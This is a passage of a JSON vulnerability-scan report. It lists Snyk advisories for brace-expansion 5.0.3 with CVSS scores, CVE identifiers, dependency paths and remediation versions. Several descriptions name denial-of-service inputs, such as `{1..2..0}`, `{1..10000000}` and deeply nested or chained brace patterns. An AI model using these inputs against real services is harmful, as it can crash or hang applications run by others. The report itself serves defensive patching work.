Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", 